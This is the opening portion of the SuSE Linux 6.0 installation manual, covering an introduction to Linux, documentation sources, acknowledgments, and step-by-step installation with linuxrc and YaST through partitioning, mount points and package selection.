Bodo Bauer, Rüdiger Berlich, Michael Burghart, Roland Dyroff, Karl Eichwalder,
Werner Fink, Klaus Franken, Jürgen Geck, Rolf Haberrecker, Carsten Höger, Dirk Hohndel,
Richard Jelinek, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel,
Christoph-Erdmann Pfeiler, Martin Scherbaum, Burchard Steinbild, Jörg Strebel,
Klaus G. Wagner, Udo Weber

SuSE Linux 6.0

Installation, Configuration and First Steps

Your registration ID for technical support:
Support contact see: page 425

SuSE, LLC
458 Santa Clara Avenue
Oakland, CA 94610
U.S.A.

Toll free phone number within the US and Canada:	1-888-UR-LINUX (1-888-875-4689)
Phone.:	+1-510-835-7873
Fax.:	+1-510-835-7875
email:	info@suse.com orders@suse.com support@suse.com webmaster@suse.com
WWW:	http://www.suse.com

Europe:
SuSE GmbH
Schanzäckerstr. 10
D-90443 Nürnberg
Germany

Tel.:	+49-911-740 53 31
Fax.:	+49-911-741 77 55
E-Mail:	suse@suse.de
WWW:	http://www.suse.de

Bodo Bauer, Rüdiger Berlich, Michael Burghart, Roland Dyroff, Karl Eichwalder, Werner Fink, Klaus Franken, Jürgen Geck, Rolf Haberrecker, Carsten Höger, Dirk Hohndel, Richard Jelinek, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Christoph-Erdmann Pfeiler, Martin Scherbaum, Burchard Steinbild, Jörg Strebel, Klaus G. Wagner, Udo Weber

Installation, Configuration and first steps with SuSE Linux 6.0
11th edition 1998
SuSE GmbH

Layout: LaTeX 2ε
English Editing by Dwight Johnson

Contents

Part I

Introduction

Chapter 1
Introduction

Much has happened since **Linus Torvalds** first started working on a UNIX-like operating system for Intel-based PCs. Linux has evolved from a “hacker’s toy” to a serious competitor to other operating systems.

For many years, there was an air of mystery about UNIX. Because of its exorbitant licensing fees, only owners of high-end computers could afford it. Today, Linux offers the PC user the opportunity to learn a UNIX-compatible operating system at a reasonable price.

A complete system is available for less than $50. When used commercially, an arbitrary number of machines can be run affordable under Linux because there are no license fees.

Linux is an ideal development platform because of source code compatibility with most UNIX systems and the availability of the standard **OSF Motif** user interface.

There is no cheaper alternative for an X-Terminal; because even a cheap, old 386 machine running Linux is sufficient for this task.

Linux cooperates well with other operating systems. It is no problem to install Linux along with other systems on your computer and easily exchange data between the different operating systems.

The biggest advantage of Linux, however, is the availability of the complete source code. Apart from the fact that you can modify the system to suit your needs, you can find and correct bugs even if they are in the operating system itself. Instead of saying “we have to live with that” (as is the case with other operating systems), you can say “we have to change that”. This is what makes the development of Linux so fast and surprisingly robust.

1.1 What is Linux?

There are many different Linux distributions and versions. Therefore, we would like to explain a few of the terms used.

When we talk about “Linux”, we must define exactly what we mean by the term. The “real Linux” is the *kernel*, the “heart” of every UNIX operating system.

But the kernel alone does not make an usable operating system. For UNIX there are, in addition, a number of software packages known as UNIX tools. These well-known programs are available for Linux as free software packages in their *GNU* versions. Most of these offer enhanced features over the originals. Of these, the **GNU C/C++ compiler**, which some people think is one of the better compilers currently available, is probably the most famous program, with the possible exception of Emacs.

What makes Linux complete is **XFree86** (current version 3.3.2.3). This is an **X Window System** (Release 6.3) for PC-based UNIX systems. This port is part of the official X11 R6.3 distribution of the **X Consortium, Inc.**, and therefore fully compatible with that standard.

All these components, together with many other tools, applications and amusements (e. g., games), make up the system known as *Linux*. There is a large amount of free software available, and there are many ways to put a Linux system together. This is why there are so many different Linux *distributions*.

In the end, selection of a Linux distribution is a philosophical decision which divides the Linux community into several ideologies.

1.2 Purpose of this book

The purpose of this book is to help you install Linux on your machine. It is not and cannot be a replacement for the existing literature on UNIX and high performance computing.

To install Linux for the first time, read and follow the simple instructions in chapter 2. We strongly recommend that you not try to install Linux without studying this book first, unless you are already an experienced Linux user. Even then, it might prove valuable to at least glance at the instructions to make sure things go smoothly.

Because of the highly dynamic development of Linux (a new kernel patch every day is not uncommon), it is difficult to keep this manual up to date. But we try our best.

Instead of claiming that this is all complete, we aim to help new Linux users to find their way and to support them while installing their system.

We have included the following sections and features:

Installation This section guides the Linux novice with a documented example installation (chapter 2). It elucidates error-prone commands and provides concrete help with problems. **YaST**, the SuSE installation and administration tool, is covered (chapter 3) as well.

Network configuration As soon as the base system is up and running we cover configuration of your network (connection to the Internet).

Graphical User Interface Activating and setting up the **XFree86**™ is part of chapter 9 to chapter 10.

Printing, Sound etc. Is covered in chapter 11 up to chapter 12

The kernel In chapter 13 und chapter 14 we dive into the details of the kernel interna. We show how to build an own kernel.

Update, Software packages, Booting Several update strategies as well as software management are introduced (chapter 15), specialities of SuSE Linux are covered and the bootconcept is shown (chapter 17).

Security and first steps Security concepts (chapter 18) and first steps are combined in this part giving you a first glance of commands and more under Linux.

Appendix Besides a complete register of the most common errors and problems, there is a list of important commands and keys as well as numerous example configuration files.

Index and glossary If you can’t find or don’t understand something, you should try looking in the index and glossary.

1.3 Typographical conventions—or what does “**earth: #** ls” mean?

The typographical conventions used in this guide are explained in Table 1.1.

Text layout	Meaning
Linus Torvalds	important persons
GNU Emacs (**`emacs`**)	the program **GNU Emacs**, is invoked with the command **`emacs`**
Applix*ware*	the product **Applix*ware***
`/etc/passwd`	file or directory name
<PATH>	name of the variable `PATH`
`192.168.1.2`	value of a variable
`ls`	the command **`ls`**
‘`news`’	the user ‘`news`’
`earth:/tmp #` `help`	in the ‘`root`’ shell in directory `/tmp`, type the command **`help`**
`newbie@earth:/tmp >` `ls`	in the shell of the user ‘`newbie`’ in directory `/tmp`, type the command **`ls`**
`C:\>` `fdisk`	at the DOS prompt, type the command **`fdisk`**
Alt	key to press, here the key “Alt”
Ctrl + Alt + Del	when ‘`+`’ is “added” all keys are to be pressed at the same time; keys to be pressed sequentially are separated by a space only
`"Permission denied"`	system messages
‘`System update`’	menu entry ‘`System update`’
Duesentrieb	company “Duesentrieb”
☞	reference to the glossary in the appendix

Table 1.1: Typographical conventions used in the text layout

1.4 Additional Linux documentation

As the range of software for Linux is growing ever more vast, unfortunately it's impossible to describe everything in printed form. Instead of trying to cover everything in this manual, we've concentrated on helping beginners to install Linux and explore its fascinating potentialities. Extensive additional documentation is included in the distribution.

1.4.1 Hypertext help

A major part of the documentation is available in *hypertext* form. To start the hypertext system, run **susehelp**. If you are running X Windows, an additional program to read the documentation will be started. Additional options to the help system can be displayed by invoking

```
newbie@earth:/home/newbie > susehelp --help
```

You can find the help system in package `susehilf`, series `doc1` (Documentation).

1.4.2 Texinfo

Some program packages include documentation in Texinfo format, which is another hypertext variant. These files can be read with **Infoviewer** (**info**) or by using the **Emacs** (**emacs**) info mode. In X Windows, you can use **tkInfo** (**tkinfo**) or the old fashioned **xinfo**.

1.4.3 Man pages

The usual way to get information about programs or commands is to invoke the command **man**.

```
newbie@earth:/home/newbie > man <command>
```

displays the manual page for the entered command, which usually lists all command options and explains the command's usage.

1.4.4 FAQ, HOWTO, and README files

The directory `/usr/doc` contains subdirectories with information about the corresponding packages. There you will often find the missing command option, the name of the configuration file you could not find anywhere else, or the name of the developer's dog. In any case, it is worth looking there before deleting the software.

The directory `/usr/doc/howto` contains "recipes" explaining how to install certain packages or what to do when you encounter problems.

In `docu` on the first CD are the latest (by time of press of the CD) versions of the HOWTO files. It might be of interest to look there. Under Linux one uses **less**[1] to read text files:

```
newbie@earth:/home/newbie > cd /usr/doc/howto
newbie@earth:/usr/doc/howto > less DOS-to-Linux-HOWTO.gz
```

[1] Yes, you are right our `less` is smart enough to handle even compressed files.

Kernel specific questions and answers can be obtained from `/usr/src/linux/Documentation`. This is only available if you have installed the kernel source (package `linux` or package `lx_suse`), which is highly recommended anyway. Furthermore, there are many useful hints in the kernel source subdirectories (e. g., for the sound driver). And for the brave, even the kernel sources themselves.

If you have a question which is not answered in this book, please look at these sources for more information. The scope of this book is limited. This printed document can be up to date for only a very limited time, because the development of Linux proceeds so fast.

1.4.5 Free books

The package `books`, series `doc1` (Documentation) has some books in PostScript format. You can view these books with package `gsview`, series `gra1` (Graphics) or package `gv`, series `gra1` (Graphics)—if you don't care about trees you can print them as well. Before printing, you should ask yourself whether it might be more economical to buy the book.

1.5 Acknowledgments

Besides everyone who has contributed to the large success of Linux, we would like to especially thank **Florian La Roche** whose contribution has been invaluable to us. His experience and knowledge helped us to first build a Linux system. Thanks to his long experience with his **jurix** distribution, he was able to participate in the creation of SuSE Linux. Without his help this distribution certainly would not have been possible.

Also, many thanks to **Dirk Hohndel** and **Harald Koenig** of the XFree86 team, who have given us valuable tips and advice concerning the X Window System and to **Eberhard Moenkeberg** who was very helpful with CD-ROM drivers.

Many thanks go to Hans Lermen, author of the well-known **loadlin.exe**, which allows Linux to be started from DOS, and the DOS **setup.exe** of this Linux system. The handbook itself was translated to English by **Michael Burghart**.

Many thanks to those who sacrificed their spare time for making Linux available to a vast number of international users by helping translating YaST and **linuxrc** texts. Gunay Arslan, Zbigniew Baniewski, Sándor Bárány, Olaf Borkner-Delcarlo, Michael Bravo, Michael Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Iban Garcia, Dora Georgarou (with Romy the barking dog), Pablo Iranzo Gomez, Krzysztof Hotiuk, Milan Hromada, Ralf A. Lanz, Françoise Lermen, Zoltán Levárdy, Nuno Lima, Matts Nordman, Aleksey Novodvorsky, Gerco Oudhof, George Papamichelakis, Alexey Pavlov, Ákos Rátkai, Voula Sanida, Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos, Joao Teles, Nuno Vieira, January Weiner, and I Made Wiryana.

Many thanks, of course, go to the dauntless beta testers who risked their running systems: Christian Huettermann, Dirk Ulbrich, Eberhard Moenkeberg,

Frank Hofmann, Harald Wieland, Ingo Schroeck, Karlo Gross, Karsten Keil, Martin Schulze, Matthias Urlichs, Norbert Eicker, Ralf Geschke, Stefan Bliesener, Ulrich Goebel, Ulrich Windl and Wolfgang Barth .

Further thanks go to **Stefan Endrass**, who computed the cover picture of the CD.

For the mathematically interested:

Septik

The picture on the cover shows a surface of degree 7 with 20 singularities (a surface of degree 7 is also known as Septik). Amonst these 20 singularities there are 16 triple points and 4 "normal" double points. This surface is defined as the amount of zeroes of an extremely long polynom of degree 7 in three unknown variables x,y, and z. Due to space reasons it is not covered in detail here.

This formula is interesting for two reasons: first, there are only a few examples of septiks with many singularities, and second the russian mathematician Alexander Varchenko proved that there could not be more than 17 triple points. Well nobody exactly knows whether a septik with 17 triple points exists, this in particular means the above formula is the best known example.

It is tetragonal symmetric and exists in a 1-parameter family of septiks with 16 triple points. This in particular means that there is a "screw" for adjusting the form of the surface. Well, it still has its 16 triple points. This metamorphosis (`s16.500.fli`) may be found on our CD in package `filmsbig`.

*

* *

*

The global team of Linux developers is still intensely working on Linux—most of them on a voluntary basis. We want to thank them for their effort—this CD would not exist without them. Our work aims at making their work accessible to a large number of interested users.

Last but not least, special thanks to **Patrick Volkerding** for supporting our work and, of course, many thanks to **Linus Torvalds**!

And Angela, Barbara, Bouchra, Christiane, Klaus F., Marcus, Marko, Mohammed, Rudolf, Simone, Udo, Ulrich, Virgilio, Winfried und Wolfgang. And, of course: Alan, Alexander, Ayako, Birgit, Bodo, Burchard, Carsten, Christian, Christoph-Erdmann, Costin, Dimitrij, Dirk, Doris, Dwight, Florian, Françoise, Frank, Gerda, Gerlinde, Hans, Helmut, Holger, Hubert, James, Jan, Joachim, Jörg, Jürgen, Karl, Klaus B., Klaus W., Lars, Lenz, Marcus, Margit, Marius, Martin L., Martin S., Melanie, Michael A., Michael B., Michael S., Reiner, Reinhard K., Reinhard M., Reinhold, Remo, Richard, Roland, Rolf, Rüdiger B., Rüdiger O., Sabine, Scott M., Scott W., Simon, Stefan D., Stefan W., Thomas, Tilman, Werner, and last, but not least: Frank Zappa und Pawar!

Fuerth, 19th March 1999

Have a lot of fun!

Your S.u.S.E. Team

Part II

Install SuSE Linux

Chapter **2**

Your first SuSE Linux installation

.

2.1 Don't panic! You can do it!

It is not easy to find a good middle ground for an installation manual. If you go into exhaustive detail to describe solutions to problems, there is a risk of scaring neophytes away. On the other hand, if you leave out the details, experienced Linux enthusiasts will lay the book aside. If you sacrifice detail for simplicity, the manual may not be useful when you `do` encounter problems.

That is why we decided to split this manual into two parts:

- A quick install section that should work for most users (section 2.2).
- A detailed installation manual where we cover the background and pitfalls (section 2.3).

First, try the quick install; this will work in most cases. If this fails, then try the detailed installation.

2.2 Linux in 30 minutes—the quick install

A quick install has the prerequisite that, first, you have to make sure that you have either extra space on your hard drive for Linux, a free partition you might want to use, or another operating system you want to remove. If this is not the case, you should prepare your hard drive in advance. **fips** on our first CD is handy for this; additional tips can be found in section 2.7.1, page 35, section 2.9, page 46, and section 2.10, page 48.

When your machine is ready to accept Linux, perform the following steps:

- Insert the included SuSE boot disk and boot your machine. When the greeting appears, just press ↵. As an alternative, if you have a suitable BIOS, you can boot from CD.
- **linuxrc** starts. Select language, screen and keyboard.
- Insert CD 1 if you want to install from CD.
- Load the necessary SCSI modules (if you need them). If there is a PCMCIA device installed you will need the PCMCIA module as well. You may add parameters for some modules. Information may be found in section 14.3.2, page 290

> If you own an ATAPI CD-ROM you don't need to load a *special* module. ATAPI drives are supported by the (E)IDE driver!

- Select `'Start installation'` to invoke YaST. The source media normally is either `'CD-ROM'` or `'Network'`. Hint: F1 pops up a help window whenever you need it.
- At the YaST menu select `'New installation'`
- Assign your Linux partition. Move to `'Settings for installation'` and `'Partition hard disk'`. Do not forget to assign a swap partition. The type of the swap partition must be set manually. More information on partitioning is found in section 2.9, page 46, and section 2.10, page 48.

  Caution: if you select `'Whole disk'` all data will be lost! This in particular means that existing operating systems will be removed as well (see section 2.3.5, page 17).
- Now assign ☞*mount points* with `'Settings for installation'` and `'Assign partitions'`. Pressing F6 lets you decide if your Linux partitions need to be formatted. Normally `'Normal formatting'` should be adequate.
- If you select `'Proceed'` YaST will format your Linux partitions.
- Now please select `'Load configuration'` if you want to chose a certain software selection (work station, server system etc.).
- `'Change setup configuration'` lets you fine tune your selection. You may include or exclude certain packages. If you plan to use the X Window System it is recommended to install the necessary X server (in series series `xsrv`; see chapter 9). If you are unsure you may do so later. No go back to the installation menu by pressing F10.
- Next start the actual installation by pressing `'Start installation'`. The selected packages are installed (first only those that are on the first CD, if the machine has only "little" RAM).
- Now quit YaST by pressing `'Finish up installation'` and then choosing the kernel you want to install for future use.
- Be sure to create a boot disk for booting Linux. This will come in handy if there is an emergency. Here, you will need to select your CD-ROM once again.
- You can now install LILO, the boot manager.
- Now give a name to your machine and select the network you have. Afterwards the machine boots further and you can log in to your freshly installed Linux.
- Now YaST starts again and all packages that were not on the first CD are installed. Now do the detailed configuration for your system.
- Finally, you can log in as user `'root'`. You can start YaST and administer your system with `'Administrating your system'`. You are done!

2.3 Installation—the details

Many roads lead to a correct Linux installation. But some of them are more complicated than others. We at SuSE have tried to determine how less experienced Linux users can be supported in the best way.

It is quite difficult for the beginner to get an overview of the install process and to choose the correct alternative. Therefore, we separated the installation part from the rest of this book in order to focus on background and coherence. We have also excluded everything about system administration in order to further compress this material. If you are an advanced Linux user, you may consider some explanations useless or too long. Please bring back to mind your first computer, when you happily took advantage of any information you could get. This installation guide is not considered as a tutorial for the SuSE tool YaST nor for other programs and does not describe Linux completely. Only those things considered helpful for understanding the installation are included in this chapter.

2.3.1 Finding your way through this installation guide

Now onward to a successful SuSE Linux installation. Most hardware is supported and we have made the software even easier to use with this release. Moreover, YaST is capable of setting up your hard drive, installing the software and configuring your login under X-Windows.

Here is what you need for the *normal installation*:

- You are capable of booting from the supplied boot disk or directly from CD-ROM.
- There is a separate partition or enough space for the Linux installation.
- Your CD-ROM is supported. If you don't know yet, don't panic; we will find out.

If any of these conditions do not fit your circumstances, we guide you through the exceptions in a number of "detours" at the end of this chapter. See section 2.4, page 28.

2.3.2 Basic principles of Linux installation

We are going to describe an *actual* Linux installation which requires you to create one (or more) partitions and a separate filesystem.

Linux installation consists mainly of the necessary preparation and three steps.

- Preparation: create space (partitions) for Linux on your hard drive. If you need to create space for a Linux partition, see section 2.7.1, page 35 ff.
- Start an independent ☞*Base-Linux* which doesn't reside on your HD.
  - boot with the supplied SuSE boot disk. if you have suitable hardware and BIOS, you can boot from CD.
  - Now load the necessary drivers with **linuxrc**.
  - All the rest will be loaded from CD-ROM into a RAM disk. Base-Linux should now be running.

  Now your Base-Linux runs.
- YaST starts automatically to customize your system, partition and format your HDs.

- Choose a software configuration for Linux and let YaST install it from CD.
- You now have an *actual* Linux installed. Next this system needs to be fine tuned.
- At the completion of installation, a boot disk will be created. Please have a disk at hand that can be overwritten.

You now have an *actual* Linux installed. But there are still a lot of things that need to be done—configuring the X Window System, networking, accessing on-line services, compiling your own kernel and much more. These tasks are beyond the scope of a basic installation and are, therefore, covered in separate chapters.

2.3.3 Let's start: the start up screen

Please insert CD 1 and the supplied SuSE boot disk in the floppy drive. Power up the computer. If the computer refuses to boot, you may need to change the boot sequence to `A,C` in BIOS setup. After some seconds, the start up screen is displayed. Then the loading sequence comes up automatically. If you have pressed a key by mistake, the screen freezes until you press ↵.

So, just press ↵ or wait … In the lower part of the screen you should now see the lines `"Loading initdisk.gz..."` and `"Loading" "linux..."`. Thereafter, the ☞*kernel* boots.

Now **linuxrc**, an interactive configuration tool, waits for your input.

2.3.4 Starting linuxrc

What's it about

linuxrc loads the needed drivers as kernel modules. Then YaST starts and sets up your system.

Step by step

1. The program **linuxrc** starts. A complete introduction to **linuxrc** may be found in section 16.2, page 323.
2. Select the language (`'English'`). ↑ and ↓ let you select a language and ← and → choose a command. In this case, this is just `'OK'`. ↵ activates the command.
3. Select b/w or color using the arrow keys.`'OK'` lets you go ahead.
4. Now the menus become nicer. `'English'` has already been selected as default, so just press ↵.
5. Now we are at **linuxrc's** main menu. The following topics may be selected:

   Settings: lets you select the language, screen and keyboard.

   System information: gives you lots of information on your system.

Figure 2.1: **linuxrc's** main menu

Kernel modules (hardware drivers): loads modules for your hardware. *Exception:* if your hard drives and CD-ROM drive are attached to an (E)IDE controller (☞*ATAPI*), support is hard coded into the kernel. Just select the last item in the list and continue. This is explained more fully below.

Installation start up system: starts the installation. More on this below.

Abort / Reboot: choose this if you have made up your mind not to install.

6. Choose `'Kernel modules'` if you need SCSI or PCMCIA support or if there is no ATAPI drive installed. The next submenu lets you choose the kind of modules you need. These normally are:
   - a SCSI module if you have a SCSI disk or a SCSI CD-ROM drive
   - a CD-ROM module if your CD-ROM is neither attached to a SCSI controller nor is an ATAPI device
   - a network module, if you want to install via NFS or FTP (see section 2.4.2, page 30).
   - a PCMCIA module if you want to access the installation system via PCMCIA

> If you don't find support for your installation medium in the list of standard modules you might need to use the `modules` diskette. Procedure is covered in section 16.2, page 323

7. To load a module, proceed as follows:
   - Select the respective submenu by highlighting it. Pressing ↵, you will see a screen to enter parameters for this driver. Typical examples

are displayed for reference. More on kernel parameters may be found in section 2.7.4, page 40 and in section 14.3.3, page 299.

- Try selecting `‘Automatic module detection’`. This may be sufficient. If unwanted modules were loaded, you may remove them using `‘Remove loaded modules’`.
- The results of loading are displayed on screen. If it failed, either you loaded the wrong driver or the parameters were wrong.
- `‘Show loaded modules’` lets you view the loaded modules. Unwanted modules will be listed as well.
- Use `‘Remove loaded modules’` to remove unwanted modules.

8. When you have loaded every module you need, select `‘Installation / Start up system’`. In the next menu, select `‘Start installation’`. The next submenu lets you select the installation device (`CD-ROM`). Of course, you should have inserted the CD previously. Now the installation environment is loaded into a RAM disk and commences.

Problems

Here are some problems you might encounter:

- The SCSI adapter was not recognized. Try using a kernel that has the SCSI driver hard coded into the kernel. Create a boot disk as shown in section 2.7.2, page 38.
- The ATAPI drive hangs while reading. See section 2.8.5, page 43.

2.3.5 start YaST

What’s it about

Now we start the actual Linux installation. YaST is launched directly from CD.

Summary

By providing YaST (YaST stands for *Yet another Setup Tool* which is a play on **yacc**—*yet another compiler compiler*), SuSE offers you a means for easily installing the Linux system. Rather than editing configuration files, decide what YaST should do for you. In most cases, YaST “edits” the configuration files for you. In addition to such basic things as designing a proper keymap, YaST supports you while partitioning your disks, installing software and maintaining your system. Of course, you can do everything by hand, but this is not the aim of this chapter. For special configuration questions, there are upcoming chapters and references for further reading. Here we only want to do a “first-time” Linux installation. We don’t explore all of YaST’s abilities, but merely a few. If you want to get to know YaST more thoroughly or you have special requirements, refer to the YaST chapter (chapter 3, page 53).

Figure 2.2: YaST start up screen

Step by step

YaST presents a menu with five choices (see figure 2.2, page 17).

Install Linux from scratch: this is exactly what we are going to describe next.

Update existing Linux system: update of a Linux system is covered in section 15.1.

Installation using expert mode: here you have numerous places where you can direct the installation procedure. Only select this if you are an experienced Linux user. The expert mode is *not* covered below.

Abort no installation: choose this if you don't want to install after all.

Here, we select '`Install Linux from scratch`'.

2.3.6 Partitioning

What's it about?

This step prepares your HD for Linux partitions.

Summary

By partitioning, your HD can be separated into several independent parts. One reason for partitioning your HD might be the coexistence of several different operating systems with different filesystems on your HD . Information on partition types may be found in section 2.9, page 46.

After you leave the menus in YaST, the partition table will be written to disk. The partition table is valid for any operating system. There is only one partition table on your system. Every operating system on your computer reads this table. This partition table may be altered by any operating system. The program **fdisk** on each operating system performs this task.

A critical point is the philosophy of partitioning: how many partitions, what size and where they should be mounted. If you are unsure, look at section 2.9, page 46 and in section 2.10, page 48.

Step by step

> If a swap partition already exists, YaST will recognize and ask whether to use it.

1. For your first installation, you will need to request `'Partitioning'`.
2. YaST now tells you that it found a hard drive. If YaST finds some free space on this drive, it will tell you so. It recommends using this space for Linux using the dialog `'Use free space?'`. If you answer `'Yes'`, YaST will automatically partition your drive and you may continue with section 2.3.8, page 24. If you say `'No'`, you need to do the partitioning yourself. If YaST *doesn't* find free space, it will suggest `'Use entire disk'`. Here you have two alternatives:

Figure 2.3: YaST – partition hard drives

`'Partition'` lets you partition your drive. You need to select this option if you plan to continue using another system that has already been installed.

`'Entire disk'` lets YaST partition the entire disk after you have confirmed your decision. This should be your choice if you only want to install Linux and don't want to bother with repartitioning. Any operating systems that were installed will be removed.

> If you select `'Entire disk'`, all data on this disk drive will be *destroyed*!

YaST uses the following strategy to partition your drive: one `/boot` partition (at lease 2 MB or 1 cylinder), a swap partition twice the size of installed RAM but not more then 128 MB. The rest is assigned as one big partition to '`/`', root partition.

If you have selected this option, you may continue with section 2.3.8, page 24.

3. YaST now presents you a screen that is divided into several parts (see figure 3.3, page 55):
   - At the top, you should see your hard drive's parameters.
   - The second part shows status and error messages from **fdisk**. You may take a closer look by pressing F6 .
   - At the bottom, you see the partitions **fdisk** has found. Here, you should see the partitions of your former operating system and the swap partition if you already assigned one.
4. If you want to remove existing partitions in order to use the space for new partitions, you should do that now.

   Highlight the partition you want to remove. Remember ↓ and ↑ lets you scroll through the list. Make sure the correct partition is highlighted. Then press F4 and confirm by pressing ⟵ .

> If you remove a partition, all data on this partition will be destroyed.[a]
>
> [a] Technically speaking, this is not 100% correct; but your data will be lost anyway.

   If you want to remove multiple partitions, you should do that now.
5. If you want to use existing partitions for Linux, you may do so by simply altering the partition type.

> If you alter the partition type, other operating systems such as DOS and Windows may not be able to access them!

   Now highlight the partition which you want to change. If you are sure you have marked the correct partition, just press F3 . Now you are presented a dialog box where you may select the partition type. Select either *normal* or *swap* and confirm by pressing ⟵ .
6. If you want to assign new partitions (that's the normal case), you should create them sequentially. Just press F5 . If this doesn't show an effect, it means that the disk is already fully populated with partitions. Then you may have to delete partitions. See above.

   A dialog box pops up letting you select the type of partition. (figure 2.4, page 20)

   You may select between either '`primary partition`', '`extended partition`' or '`logical drive`'. Confirm by pressing ⟵ . Remember: you may assign up to four *primary* partitions. If you need more, you need to assign at least one as an *extended* partition. Within this *extended* partition, you may assign *logical partitions*. See section 2.9, page 46.

Figure 2.4: YaST – assign partitions

When you have assigned a primary or logical partition, you must enter the device name. YaST displays a list of the available device names. Normally, you should just select the uppermost entry, e. g., '/dev/hda2' and press ↵ .

The next step lets you set the size of the partition. YaST recommends starting at the first cylinder of the the first free partition. Normally, you should confirm this default. To set up the size, you may select one of three alternatives: the number of the last cylinder (e. g., 976), the number of cylinders of the partition (e. g., +66) or the size in megabytes (e. g., +100M). Pressing ↵ should now move you to 'Continue'. Here, just press ↵ .

Now you should see your freshly assigned partition in the lower part of the screen. If you are not satisfied, you may remove it by pressing F4 .

7. One of your partitions needs to be a swap partition. If there isn't already a swap partition, use ↓ and ↑ to select a proper one. Information on the size of a swap partition may be found in section 2.9, page 46. Press F3 and select 'Linux Swap Partition' and confirm by pressing ↵ .
8. Is everything to your satisfaction? The drive should be completely populated with partitions. Did you remember the swap partition? Now move the cursor to 'Continue' and ↵ then moves you to the 'Assigning mount points' menu.

Under certain circumstances, YaST checks your swap partition to make sure no error occurred.

2.3.7 Filesystems and mount points

What's it about?

You have created all necessary partitions and these partitions have been added to the partition table, but they are still not written to disk. There are some vital parameters still missing which will be added in this step.

Summary

This information is partially written to the filesystem table, `/etc/fstab`, which contains all the relevant information on the filesystems you want mounted. Each entry includes the ☞*device*, its position in the directory tree and the type of filesystem.[1]

YaST needs this data to create Linux filesystems on the formatted drives. The swap partition is not touched in this step as it has been already created in section 2.3.5, page 17.

In contrast to the partition table entries (see section 2.3.5), the `/etc/fstab` entries are Linux-specific and are not used by other operating systems.

Also noteworthy:

- In Linux, all filesystems are linked on one directory tree (see figure C.1, page 393). You must assign each filesystem a branch on this tree. This is called its ☞*mount point*. Even DOS and HPFS filesystems can be linked into the Linux directory tree.
- Drive space for filesystems is administrated under Linux by using ☞*inodes*. An inode is just a small file that points to the corresponding data for a given file. The number of inodes is assigned while creating a filesystem. If you want to create lots of small files, you will need many inodes, which require some space of their own as well. For filesystems containing many large files, fewer inodes are necessary. See chapter section 3.5, page 57.

Step by step

You are now in `'Set target partitions / filesystems'` (see figure 3.4, page 57). This is how to proceed:

1. First some information about what is to be done:
   - For each of your DOS and HPFS filesystems (in DOS and HPFS partitions), you *may* create a ☞*mount point*.
   - For each of your Linux partitions:
     - you *must* select a mount point
     - you *may* change the suggested ☞*inode* size
     - you *may* change the suggested formatting mode
   - Functions `'setting type'` and `'reading fstab'` are normally not needed.
2. If you want to access a DOS or HPFS partition under Linux, you have to select it and press F4 . Now a window pops up and you can enter a directory. Under this directory, you will mount your DOS or HPFS

[1] As well as information for **dump** and **fsck**; see manpage of `fstab` (`man 5 fstab`).

Figure 2.5: YaST – mount DOS/Windows partitions

filesystem. For example, enter `/dosc` (don't forget the slash!). Confirm this action by pressing ↵ .

If you have selected a DOS partition, another window appears (figure 2.5, page 22). Here, you can choose which way to take for accessing DOS under Linux (see section 3.5, page 56). Generally, you want to use DOS independently and just want to exchange files under Linux. For the normal Linux install, choose `'DOS'`. UNIX file attributes and long filenames, as offered by the ☞*UMSDOS* file system, are only necessary for demo mode.

3. Next, enter the ☞*mount points* for your Linux partitions. Just select your Linux partitions one after the other and press F4 . A window will pop up letting you decide where to mount this partition on your filesystem tree. Enter the complete path beginning with the "slash" (/).

   Which mount points you choose for your partitions depends on how you plan to organize your partitions. In any case, you *need* a root directory `/`, which is the "root" to the whole filesystem. All other filesystems and their mount points more or less depend on your preferences. You should create a mount point for each Linux filesystem. You will not be able to access unmounted filesystems.

> Directories which are needed at boot time must be directly under `/`. At this stage, the separate branches are not yet put together (mounted). That's the reason why you are not allowed to assign `/bin`, `/dev`, `/lib`, `/etc`, and `/sbin` to other partitions.

4. Now set the inode density for your Linux partitions. YaST sets a default value depending on the partition size. Generally: choose an ☞*inode* density of 4096 bytes per inode with one exception: you have lots of

little files (or you want to create them later on).[2] In that case, 1024 or 2048 is a better choice. By the way, the best performance is achieved if all file systems use the same inode density.

Choose the Linux filesystems whose inode density you want to change and press F5 . A window with all possible alternatives will appear. Choose the one you want and press ↵ .

5. You must now decide whether (and how) you want to format your Linux partitions. Since you just created those partitions in section 2.3.5, page 17, they must now be formatted. If you own a recent HD, do `'normal formatting'`. If your storage media is not that new, it is better to choose `'Formatting and checking'`.

Figure 2.6: YaST – Mount points

Select the Linux partitions one after another and press F6 to select the appropriate formatting. At the end the menu should resemble the graphic in figure 2.6, page 23 (eventually you have *not* given an NFS directory!).

6. After selecting `'More'`, a dialog box pops up asking you whether you are sure. Then YaST formats your partitions.

After successfully formatting your partitions, YaST launches the menu for selecting software (see figure 3.12, page 64).

Problems

If you get the error `"mke2fs failed"` or something similar, please see section 2.8.9, page 45.

[2] An exception to the rule is the live filesystem. Information on the live filesystem may be found under section 2.7.9, page 42.

2.3.8 Selecting base software packages

What's it about

Your HD is now prepared for Linux. You must next decide which software to install.

Summary

Let's summarize: The partition table is changed and has been written to disk and you have decided how your future filesystem is going to look. Now you may select which software to install.

You have more than an entire CD full of compressed Linux software. What you choose is largely up to you, but there are certain packages that are required (series a). Series a is the "base" of your Linux system. Other packages can be installed and removed as you like.

Step by step

Before you start wading through the configuration, note that a useful configuration has already been suggested for you. Here is how to proceed to install the software:

1. YaST next reads data from CD (or from HD if you've chosen this installation medium). This will take some time and afterwards YaST will pop up the installation menu (figure 3.12, page 64).
2. Now select `'Load configuration'` if you want to install software for a certain configuration (see section 3.12.1, page 65). You may `'Add'` a configuration or `'Replace'` it. If you choose `'Replace'` everything besides the base packages will be unselected. Thereafter, you are taken back to the installation menu.
3. Now select `'Change /create configuration'`. Now you are in the series selection screen (see section 3.12.3, page 65). In the uppermost part, all series are listed including a short description. On the righthand side, you see the size in megabytes of the software you've already selected.
4. Now you can go through your series of packages and choose packages you would like to have, but keep an eye on your free disk space. Don't forget: every package from series a *is required*.
5. This is what you can do in series selection:
   - Pressing ⟵ leads you to package selection within the chosen series.
   - In the lower window you can view how your Linux partition is getting filled.
   - Using F3, YaST shows you your partition in a large window.
   - F5 lets YaST check for dependencies of the selected packages. Dependencies take into consideration that certain packages require other packages to be installed, and sometimes packages conflict with each other.

